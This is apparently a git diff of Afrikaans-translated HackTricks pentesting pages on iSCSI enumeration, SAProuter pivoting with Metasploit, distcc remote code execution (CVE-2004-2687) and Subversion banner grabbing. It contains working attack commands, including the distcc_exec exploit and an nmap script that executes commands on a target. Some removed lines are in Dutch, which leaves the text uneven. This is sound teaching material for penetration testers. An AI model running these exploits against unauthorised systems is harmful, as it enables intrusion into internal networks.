||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Dan kan jy **uitlog** deur `–logout` te gebruik
|
||||
Dan kan jy **logout** gebruik met `–logout`
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Ons kan **meer inligting** daaroor vind deur net **sonder** enige `--login`/`--logout` parameter te gebruik.
|
||||
Ons kan **meer inligting** daaroor vind deur net **sonder** enige `--login`/`--logout` parameter te gebruik
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||
# BEGIN RECORD 2.0-873
|
||||
|
@ -195,7 +162,7 @@ node.conn[0].iscsi.IFMarker = No
|
|||
node.conn[0].iscsi.OFMarker = No
|
||||
# END RECORD
|
||||
```
|
||||
**Daar is 'n skrip om die basiese subnet opsporing proses outomaties te doen beskikbaar by** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
**Daar is 'n skrip om die basiese subnet enumerasieproses te outomatiseer beskikbaar by** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm)
|
||||
|
||||
## **Shodan**
|
||||
|
||||
|
@ -206,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
|
|||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,64 +1,65 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
Hierdie is 'n opsomming van die pos vanaf [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
|
||||
## Begrip van SAProuter Penetrasie met Metasploit
|
||||
## Verstaan van SAProuter Penetrasie met Metasploit
|
||||
|
||||
SAProuter tree op as 'n omgekeerde proxy vir SAP-stelsels, hoofsaaklik om toegang tussen die internet en interne SAP-netwerke te beheer. Dit word gewoonlik blootgestel aan die internet deur TCP-poort 3299 toe te laat deur organisatoriese vuurmuure. Hierdie opstelling maak SAProuter 'n aantreklike teiken vir penetrasietoetsing omdat dit as 'n toegangspoort tot hoëwaardige interne netwerke kan dien.
|
||||
SAProuter dien as 'n omgekeerde proxy vir SAP-stelsels, hoofsaaklik om toegang tussen die internet en interne SAP-netwerke te beheer. Dit word algemeen aan die internet blootgestel deur TCP-poort 3299 deur organisatoriese vuurmure toe te laat. Hierdie opstelling maak SAProuter 'n aantreklike teiken vir penetrasietoetsing omdat dit as 'n toegangspunt na hoëwaarde interne netwerke kan dien.
|
||||
|
||||
**Skandering en Inligting Versameling**
|
||||
|
||||
Aanvanklik word 'n skandering uitgevoer om te bepaal of 'n SAP-router op 'n gegewe IP hardloop deur die **sap_service_discovery**-module te gebruik. Hierdie stap is noodsaaklik om die teenwoordigheid van 'n SAP-router en sy oop poort te bevestig.
|
||||
Aanvanklik word 'n skandering uitgevoer om te identifiseer of 'n SAP-router op 'n gegewe IP draai met behulp van die **sap_service_discovery** module. Hierdie stap is van kardinale belang om die teenwoordigheid van 'n SAP-router en sy oop poort te bevestig.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
```
|
||||
Na die ontdekking word verdere ondersoek na die SAP-router se konfigurasie uitgevoer met die **sap_router_info_request**-module om moontlik interne netwerkbesonderhede bloot te lê.
|
||||
Na die ontdekking word verdere ondersoek na die SAP-router se konfigurasie gedoen met die **sap_router_info_request** module om moontlik interne netwerkbesonderhede te onthul.
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_router_info_request) > run
|
||||
```
|
||||
**Opnoem van Interne Dienste**
|
||||
**Opname van Interne Dienste**
|
||||
|
||||
Met verkrygte interne netwerk-insigte, word die **sap_router_portscanner**-module gebruik om interne gasheerstelsels en dienste deur die SAProuter te ondersoek, wat 'n dieper begrip van interne netwerke en dienskonfigurasies moontlik maak.
|
||||
Met verkregen interne netwerkinsigte, word die **sap_router_portscanner** module gebruik om interne gasheers en dienste deur die SAProuter te ondersoek, wat 'n dieper begrip van interne netwerke en dienskonfigurasies moontlik maak.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
```
|
||||
Hierdie module se buigsaamheid om spesifieke SAP-instanties en poorte te teiken, maak dit 'n effektiewe instrument vir gedetailleerde interne netwerkverkenning.
|
||||
Die buigsaamheid van hierdie module om spesifieke SAP-instanties en poorte te teiken, maak dit 'n effektiewe hulpmiddel vir gedetailleerde interne netwerkverkenning.
|
||||
|
||||
**Gevorderde Opsomming en ACL-mapping**
|
||||
**Geavanceerde Enumerasie en ACL Kaartlegging**
|
||||
|
||||
Verdere skandering kan onthul hoe Toegangsbeheerlyste (ACL's) gekonfigureer is op die SAProuter, wat besonderhede verskaf oor watter verbindinge toegelaat of geblokkeer word. Hierdie inligting is van kardinale belang vir die verstaan van sekuriteitsbeleide en potensiële kwesbaarhede.
|
||||
Verdere skandering kan onthul hoe Toegangsbeheerlisensies (ACLs) op die SAProuter geconfigureer is, wat aandui watter verbindings toegelaat of geblokkeer word. Hierdie inligting is van kardinale belang om sekuriteitsbeleide en potensiële kwesbaarhede te verstaan.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**Blind Enumerasie van Interne Gasheer**
|
||||
**Blind Enumeration of Internal Hosts**
|
||||
|
||||
In scenario's waar direkte inligting van die SAProuter beperk is, kan tegnieke soos blind enumerasie toegepas word. Hierdie benadering probeer raai en verifieer die bestaan van interne gasheernommers, wat potensiële teikens onthul sonder direkte IP-adresse.
|
||||
In scenario's waar direkte inligting van die SAProuter beperk is, kan tegnieke soos blind enumerasie toegepas word. Hierdie benadering probeer om die bestaan van interne gasname te raai en te verifieer, wat potensiële teikens onthul sonder direkte IP-adresse.
|
||||
|
||||
**Benutting van Inligting vir Pentesting**
|
||||
**Leveraging Information for Penetration Testing**
|
||||
|
||||
Nadat die netwerk in kaart gebring is en toeganklike dienste geïdentifiseer is, kan pentesters Metasploit se proksi-vermoëns gebruik om deur die SAProuter te draai vir verdere ondersoek en uitbuiting van interne SAP-dienste.
|
||||
Nadat die netwerk in kaart gebring is en toeganklike dienste geïdentifiseer is, kan penetrasietoetsers Metasploit se proxy vermoëns benut om deur die SAProuter te beweeg vir verdere verkenning en uitbuiting van interne SAP-dienste.
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
|
@ -66,11 +67,10 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
```
|
||||
**Gevolgtrekking**
|
||||
|
||||
Hierdie benadering beklemtoon die belangrikheid van veilige SAProuter-konfigurasies en beklemtoon die potensiaal om toegang tot interne netwerke te verkry deur middel van doelgerigte penetrasietoetse. Dit is van kritieke belang om SAP-routers behoorlik te beveilig en hul rol in netwerksekuriteitsargitektuur te verstaan om teen ongemagtigde toegang te beskerm.
|
||||
Hierdie benadering beklemtoon die belangrikheid van veilige SAProuter-konfigurasies en lig die potensiaal uit om toegang tot interne netwerke te verkry deur teiken penetrasietoetsing. Dit is van kardinale belang om SAP-routers behoorlik te beveilig en hul rol in netwerkbeveiligingsargitektuur te verstaan om teen ongemagtigde toegang te beskerm.
|
||||
|
||||
Vir meer gedetailleerde inligting oor Metasploit-modules en hul gebruik, besoek [Rapid7 se databasis](http://www.rapid7.com/db).
|
||||
|
||||
|
||||
## **Verwysings**
|
||||
|
||||
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
@ -79,18 +79,17 @@ Vir meer gedetailleerde inligting oor Metasploit-modules en hul gebruik, besoek
|
|||
|
||||
* `port:3299 !HTTP Network packet too big`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
**Distcc** is 'n instrument wat die **kompileringproses** verbeter deur die **onbenutte verwerkingkrag** van ander rekenaars in die netwerk te benut. Wanneer **distcc** op 'n masjien opgestel is, is hierdie masjien in staat om sy **kompileringstake** na 'n ander stelsel te versprei. Hierdie ontvangerstelsel moet die **distccd daemon** hardloop en 'n **verenigbare kompilator** geïnstalleer hê om die gestuurde kode te verwerk.
|
||||
**Distcc** is 'n hulpmiddel wat die **kompilasieproses** verbeter deur die **idle verwerkingskrag** van ander rekenaars in die netwerk te benut. Wanneer **distcc** op 'n masjien opgestel is, kan hierdie masjien sy **kompilasietake** na 'n ander stelsel versprei. Hierdie ontvangerstelsel moet die **distccd daemon** draai en moet 'n **kompatible kompileerder** geïnstalleer hê om die gestuurde kode te verwerk.
|
||||
|
||||
**Verstekpoort:** 3632
|
||||
**Standaard poort:** 3632
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3632/tcp open distccd
|
||||
```
|
||||
# Uitbuiting
|
||||
# Exploitation
|
||||
|
||||
Kyk of dit vatbaar is vir **CVE-2004-2687** om arbitrêre kode uit te voer:
|
||||
Kontroleer of dit kwesbaar is vir **CVE-2004-2687** om arbitrêre kode uit te voer:
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||
```
|
||||
# Shodan
|
||||
|
||||
_Ek dink nie Shodan detect hierdie diens nie._
|
||||
_Ek dink nie shodan detecteer hierdie diens nie._
|
||||
|
||||
# Hulpbronne
|
||||
# Resources
|
||||
|
||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
||||
Pos geskep deur **Álex B (@r1p)**
|
||||
Post geskep deur **Álex B (@r1p)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,102 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
**Subversion** is 'n gesentraliseerde **weergawebeheerstelsel** wat 'n kritieke rol speel in die bestuur van beide die huidige en historiese data van projekte. As 'n **open source**-hulpmiddel, werk dit onder die **Apache-lisensie**. Hierdie stelsel word wyd erken vir sy vermoëns in **sagteware-weergawebeheer en hersieningsbeheer**, wat verseker dat gebruikers veranderinge oor tyd doeltreffend kan opvolg.
|
||||
**Subversion** is 'n gesentraliseerde **weergawebeheerstelsel** wat 'n belangrike rol speel in die bestuur van beide die huidige en historiese data van projekte. As 'n **oopbron** hulpmiddel, werk dit onder die **Apache lisensie**. Hierdie stelsel is wyd erken vir sy vermoëns in **sagteware weergawe en hersieningsbeheer**, wat verseker dat gebruikers veranderinge oor tyd doeltreffend kan volg.
|
||||
|
||||
**Verstekpoort:** 3690
|
||||
**Standaard poort:** 3690
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
3690/tcp open svnserve Subversion
|
||||
```
|
||||
## Banner Gaping
|
||||
|
||||
Banner gaping is 'n tegniek wat gebruik word om inligting oor 'n Subversion (SVN) bediener te bekom deur die banner te ondersoek wat deur die bediener tydens die verbinding gestuur word. Die banner is 'n stuk teks wat in die begin van die verbinding gestuur word en dikwels inligting soos die bediener se weergawe en ander relevante inligting bevat.
|
||||
|
||||
Om banner gaping uit te voer, kan jy 'n netwerk skandering hulpmiddel soos Nmap gebruik om die bediener se poorte te skandeer en die inligting in die banners te ontleed. Jy kan ook 'n eenvoudige TCP-verbinding gebruik om die banner handmatig te ondersoek.
|
||||
|
||||
Die inligting wat jy uit die banner kan verkry, kan nuttig wees vir verdere aanvalle en penetrasietoetse. Dit kan jou help om die bediener se weergawe te bepaal en moontlike kwesbaarhede te identifiseer wat jy kan uitbuit.
|
||||
|
||||
Dit is belangrik om te onthou dat banner gaping 'n pasiewe tegniek is en nie die bediener self aanval nie. Dit is 'n nuttige stap in die verkenningsfase van 'n penetrasietoets, maar dit moet met ander tegnieke en hulpmiddels gekombineer word om 'n volledige beeld van die bediener se veiligheid te verkry.
|
||||
## Banner Grabbing
|
||||
```
|
||||
nc -vn 10.10.10.10 3690
|
||||
```
|
||||
## Opname
|
||||
|
||||
Om een Subversion (SVN) server te pentesten, is het belangrijk om eerst een grondige opname uit te voeren. Dit omvat het identificeren van de serverversie, het verzamelen van informatie over de repository's en het identificeren van mogelijke kwetsbaarheden.
|
||||
|
||||
### Serverversie identificeren
|
||||
|
||||
Om de serverversie van Subversion te identificeren, kunt u een HTTP-verzoek sturen naar de server en de respons controleren op de aanwezigheid van de "SVN" header. U kunt ook proberen verbinding te maken met de server via de SVN-client en de versie-informatie controleren die wordt weergegeven in de uitvoer.
|
||||
|
||||
### Repository's identificeren
|
||||
|
||||
Om de repository's op de Subversion-server te identificeren, kunt u een HTTP-verzoek sturen naar de server en de respons controleren op de aanwezigheid van de "Location" header. U kunt ook proberen verbinding te maken met de server via de SVN-client en de lijst met beschikbare repository's controleren.
|
||||
|
||||
### Kwetsbaarheden identificeren
|
||||
|
||||
Om mogelijke kwetsbaarheden op de Subversion-server te identificeren, kunt u de serverconfiguratie controleren op bekende beveiligingslekken. U kunt ook zoeken naar bekende kwetsbaarheden in de specifieke versie van Subversion die wordt gebruikt door de server. Het is ook belangrijk om te controleren of de server correct is geconfigureerd en of er geen onbeveiligde toegangspunten zijn.
|
||||
|
||||
## Exploitation
|
||||
|
||||
Na het uitvoeren van een grondige opname, kunt u overgaan tot het exploiteren van kwetsbaarheden op de Subversion-server. Dit kan het uitvoeren van aanvallen omvatten, zoals het verkrijgen van ongeautoriseerde toegang tot de repository's, het verkrijgen van gevoelige informatie of het uitvoeren van denial-of-service (DoS) aanvallen.
|
||||
|
||||
### Ongeautoriseerde toegang tot repository's verkrijgen
|
||||
|
||||
